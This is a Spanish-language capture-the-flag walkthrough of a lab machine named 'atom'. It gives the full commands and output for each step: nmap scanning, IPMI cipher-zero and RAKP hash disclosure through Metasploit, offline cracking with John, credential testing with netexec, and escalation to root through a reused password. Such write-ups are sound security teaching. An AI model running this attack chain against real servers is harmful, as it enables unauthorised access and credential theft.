Enumeración de servicios
El escaneo TCP sólo descubre SSH. Sin una aplicación adicional ni credenciales conocidas, ampliamos el reconocimiento a UDP en lugar de iniciar Password Guessing contra el único servicio visible:
❯ nmap -sCV -p 22 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 19:45 -04
Nmap scan report for 192.168.1.28
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEl puerto 623/udp responde como ASF-RMCP, protocolo utilizado por IPMI:
❯ sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.28
...
PORT STATE SERVICE
623/udp open asf-rmcp
...IPMI Cipher Zero y RAKP Hash Disclosure
El script de Nmap confirma un IPMI Cipher Zero Authentication Bypass. Esta configuración permite negociar una suite sin protección criptográfica para autenticarse con una cuenta válida, aunque no revela por sí sola la contraseña de esa cuenta:
❯ sudo nmap -sU --script ipmi-cipher-zero -p 623 192.168.1.28
...
| ipmi-cipher-zero:
| VULNERABLE:
| IPMI 2.0 RAKP Cipher Zero Authentication Bypass
| State: VULNERABLE
...El protocolo RAKP permite solicitar material de autenticación vinculado a un nombre de usuario. Metasploit automatiza esta IPMI RAKP Hash Disclosure y compara el hash obtenido para admin con rockyou, recuperando cukorborso:
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 192.168.1.28
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set pass_file /home/wh01s17/Documents/wordlists/rockyou.txt
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 192.168.1.28:623 - IPMI - Hash for user 'admin' matches password 'cukorborso'Con acceso válido listamos otras cuentas IPMI, solicitamos sus hashes RAKP y los atacamos fuera de línea con John. La salida relaciona cada contraseña recuperada con su usuario:
❯ ipmitool -I lanplus -H 192.168.1.28 -U 'admin' -P 'cukorborso' user list
...
❯ john --fork=8 --incremental:alpha --format=rakp hashes.txt
...
jiggaman (192.168.1.28 onida)
...Acceso inicial mediante Credential Reuse
Comprobamos los pares recuperados contra SSH sin cruzar indiscriminadamente todas las combinaciones. NetExec confirma que onida:jiggaman ha sido reutilizado en el servicio del sistema:
❯ netexec ssh 192.168.1.28 -u users.txt -p passwds.txt --no-bruteforce
...
SSH 192.168.1.28 22 192.168.1.28 [+] onida:jiggaman Linux - Shell access!
...
❯ ssh onida@192.168.1.28
onida@192.168.1.28's password: jiggaman
onida@atom:~$Escalada mediante Password Cracking y Credential Reuse
La sesión de onida permite recuperar la primera flag. En /var/www/html encontramos una base de datos que contiene un hash bcrypt asociado a atom:
onida@atom:/var/www/html$ cat atom-2400-database.db
...
atom$2y$10$Z1K.4yVakZEY.Qsju3WZzukW/M3fI6BkSohYOiBQqG7pK1F2fH9Cm
...John recupera madison. El nombre de la entrada no demuestra que sea una credencial del sistema, pero la validación con su root confirma su reutilización para la cuenta privilegiada:
❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_atom
...
madison (?)
...
onida@atom:/var/www/html$ su root
Password: madison
root@atom:/var/www/html#El prompt root@atom cierra la escalada y permite recuperar la flag final.